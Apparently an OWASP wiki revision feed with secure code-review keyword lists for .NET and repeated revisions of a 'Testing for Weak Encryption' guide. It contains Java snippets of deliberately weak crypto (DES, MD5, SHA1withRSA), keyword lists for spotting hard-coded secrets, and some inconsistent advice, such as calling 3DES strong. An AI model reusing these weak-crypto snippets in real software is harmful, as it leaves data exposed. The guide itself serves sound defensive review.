system.web.ui.webcontrols.hyperlink&lt;br /&gt;
system.web.ui.webcontrols.textbox&lt;br /&gt;
system.web.ui.webcontrols.label&lt;br /&gt;
system.web.ui.webcontrols.linkbutton&lt;br /&gt;
system.web.ui.webcontrols.listbox&lt;br /&gt;
system.web.ui.webcontrols.checkboxlist&lt;br /&gt;
system.web.ui.webcontrols.dropdownlist&lt;br /&gt;
&lt;br /&gt;
==WEB.Config==&lt;br /&gt;
The .NET Framework relies on .config files to define configuration settings. The .config files are text-based XML files. Many .config files can, and typically do, exist on a single system. Web applications refer to a web.config file located in the application’s root directory. For ASP.NET applications, web.config contains information about most aspects of the application’s operation. &lt;br /&gt;
&lt;br /&gt;
requestEncoding &amp;lt;br&amp;gt;&lt;br /&gt;
responseEncoding &amp;lt;br&amp;gt;&lt;br /&gt;
trace &amp;lt;br&amp;gt;&lt;br /&gt;
authorization &amp;lt;br&amp;gt;&lt;br /&gt;
compilation &amp;lt;br&amp;gt;&lt;br /&gt;
CustomErrors &amp;lt;br&amp;gt;&lt;br /&gt;
httpCookies &amp;lt;br&amp;gt;&lt;br /&gt;
httpHandlers &amp;lt;br&amp;gt;&lt;br /&gt;
httpRuntime &amp;lt;br&amp;gt;&lt;br /&gt;
sessionState &amp;lt;br&amp;gt;&lt;br /&gt;
maxRequestLength &amp;lt;br&amp;gt;&lt;br /&gt;
debug &amp;lt;br&amp;gt;&lt;br /&gt;
forms protection &amp;lt;br&amp;gt;&lt;br /&gt;
appSettings &amp;lt;br&amp;gt;&lt;br /&gt;
ConfigurationSettings &amp;lt;br&amp;gt;&lt;br /&gt;
appSettings &amp;lt;br&amp;gt;&lt;br /&gt;
connectionStrings &amp;lt;br&amp;gt;&lt;br /&gt;
authentication mode &amp;lt;br&amp;gt;&lt;br /&gt;
allow &amp;lt;br&amp;gt;&lt;br /&gt;
deny &amp;lt;br&amp;gt;&lt;br /&gt;
credentials &amp;lt;br&amp;gt;&lt;br /&gt;
identity impersonate &amp;lt;br&amp;gt;&lt;br /&gt;
timeout &amp;lt;br&amp;gt;&lt;br /&gt;
remote &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==global.asax==&lt;br /&gt;
Each application has its own Global.asax if one is required. Global.asax sets the event code and values for an application using scripts. One must ensure that application variables do not contain sensitive information, as they are accessible to the whole application and to all users within it. &lt;br /&gt;
&lt;br /&gt;
Application_OnAuthenticateRequest &amp;lt;br&amp;gt;&lt;br /&gt;
Application_OnAuthorizeRequest &amp;lt;br&amp;gt;&lt;br /&gt;
Session_OnStart &amp;lt;br&amp;gt;&lt;br /&gt;
Session_OnEnd &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Logging==&lt;br /&gt;
Logging can be a source of information leakage. It is important to examine all calls to the logging subsystem and to determine if any sensitive information is being logged. Common mistakes are logging userID in conjunction with passwords within the authentication functionality or logging database requests which may contains sensitive data. &lt;br /&gt;
&lt;br /&gt;
log4net &amp;lt;br&amp;gt;&lt;br /&gt;
Console.WriteLine &amp;lt;br&amp;gt;&lt;br /&gt;
System.Diagnostics.Debug &amp;lt;br&amp;gt;&lt;br /&gt;
System.Diagnostics.Trace &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Machine.config==&lt;br /&gt;
Its important that many variables in machine.config can be overridden in the web.config file for a particular application. &lt;br /&gt;
&lt;br /&gt;
validateRequest  &amp;lt;br&amp;gt;&lt;br /&gt;
enableViewState &amp;lt;br&amp;gt;&lt;br /&gt;
enableViewStateMac &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Threads and Concurrency==&lt;br /&gt;
Locating code that contains multithreaded functions. Concurrency issues can result in race conditions which may result in security vulnerabilities. The Thread keyword is where new threads objects are created. Code that uses static global variables which hold sensitive security information may cause session issues. Code that uses static constructors may also cause issues between threads. Not synchronizing the Dispose method may cause issues if a number of threads call Dispose at the same time, this may cause resource release issues. &lt;br /&gt;
&lt;br /&gt;
Thread &amp;lt;br&amp;gt;&lt;br /&gt;
Dispose &amp;lt;br&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
==Class Design==&lt;br /&gt;
Public and Sealed relate to the design at class level. Classes which are not intended to be derived from should be sealed. Make sure all class fields are Public for a reason. Don't expose anything you don't need to. &lt;br /&gt;
&lt;br /&gt;
Public &amp;lt;br&amp;gt;&lt;br /&gt;
Sealed &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Reflection, Serialization==&lt;br /&gt;
Code may be generated dynamically at runtime. Code that is generated dynamically as a function of external input may give rise to issues. If your code contains sensitive data, does it need to be serialized?&lt;br /&gt;
&lt;br /&gt;
Serializable &amp;lt;br&amp;gt;&lt;br /&gt;
AllowPartiallyTrustedCallersAttribute &amp;lt;br&amp;gt;&lt;br /&gt;
GetObjectData  &amp;lt;br&amp;gt;&lt;br /&gt;
StrongNameIdentityPermission &amp;lt;br&amp;gt;&lt;br /&gt;
StrongNameIdentity &amp;lt;br&amp;gt;&lt;br /&gt;
System.Reflection &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Exceptions &amp;amp; Errors==&lt;br /&gt;
Ensure that the catch blocks do not leak information to the user in the case of an exception. Ensure when dealing with resources that the finally block is used. Having trace enabled is not great from an information leakage perspective. Ensure customised errors are properly implemented. &lt;br /&gt;
&lt;br /&gt;
catch{ &amp;lt;br&amp;gt;&lt;br /&gt;
Finally &amp;lt;br&amp;gt;&lt;br /&gt;
trace enabled &amp;lt;br&amp;gt;&lt;br /&gt;
customErrors mode &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Crypto==&lt;br /&gt;
If cryptography is used then is a strong enough cipher used, i.e. AES or 3DES? What size key is used? The larger the better. Where is hashing performed? Are passwords that are being persisted hashed? They should be. How are random numbers generated? Is the PRNG &amp;quot;random enough&amp;quot;? &lt;br /&gt;
&lt;br /&gt;
RNGCryptoServiceProvider &amp;lt;br&amp;gt;&lt;br /&gt;
SHA &amp;lt;br&amp;gt;&lt;br /&gt;
MD5 &amp;lt;br&amp;gt;&lt;br /&gt;
base64 &amp;lt;br&amp;gt;&lt;br /&gt;
xor &amp;lt;br&amp;gt;&lt;br /&gt;
DES &amp;lt;br&amp;gt;&lt;br /&gt;
RC2 &amp;lt;br&amp;gt;&lt;br /&gt;
System.Random &amp;lt;br&amp;gt;&lt;br /&gt;
Random &amp;lt;br&amp;gt;&lt;br /&gt;
System.Security.Cryptography&lt;br /&gt;
&lt;br /&gt;
userid&lt;br /&gt;
&lt;br /&gt;
username&lt;br /&gt;
&lt;br /&gt;
password&lt;br /&gt;
&lt;br /&gt;
pass&lt;br /&gt;
&lt;br /&gt;
pwd&lt;br /&gt;
&lt;br /&gt;
key&lt;br /&gt;
&lt;br /&gt;
sharekey&lt;br /&gt;
&lt;br /&gt;
code&lt;br /&gt;
&lt;br /&gt;
encode&lt;br /&gt;
&lt;br /&gt;
encrypt&lt;br /&gt;
&lt;br /&gt;
enc&lt;br /&gt;
&lt;br /&gt;
dec&lt;br /&gt;
&lt;br /&gt;
decrypt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Storage==&lt;br /&gt;
If storing sensitive data in memory, I recommend one uses the following. &lt;br /&gt;
&lt;br /&gt;
SecureString &amp;lt;br&amp;gt;&lt;br /&gt;
ProtectedMemory &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Authorization, Assert &amp;amp; Revert==&lt;br /&gt;
Bypassing the code access security permission? Not a good idea. Also below is a list of potentially dangerous permissions such as calling unmanaged code, outside the CLR. &lt;br /&gt;
&lt;br /&gt;
.RequestMinimum &amp;lt;br&amp;gt;&lt;br /&gt;
.RequestOptional &amp;lt;br&amp;gt;&lt;br /&gt;
Assert &amp;lt;br&amp;gt;&lt;br /&gt;
Debug.Assert &amp;lt;br&amp;gt;&lt;br /&gt;
CodeAccessPermission &amp;lt;br&amp;gt;&lt;br /&gt;
ReflectionPermission.MemberAccess &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.ControlAppDomain &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.UnmanagedCode &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.SkipVerification &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.ControlEvidence &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.SerializationFormatter &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.ControlPrincipal &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.ControlDomainPolicy &amp;lt;br&amp;gt;&lt;br /&gt;
SecurityPermission.ControlPolicy &amp;lt;br&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
==Legacy Methods==&lt;br /&gt;
printf &amp;lt;br&amp;gt;&lt;br /&gt;
strcpy &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Code Review Metrics | lblprev=&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Searching for Code in J2EE/Java | lblnext=&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231669</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231669"/>
				<updated>2017-07-14T02:28:38Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
* HMAC https://www.ietf.org/rfc/rfc2104.txt&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231668</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231668"/>
				<updated>2017-07-14T02:09:18Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231314</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=231314"/>
				<updated>2017-07-06T03:04:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Source Code Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
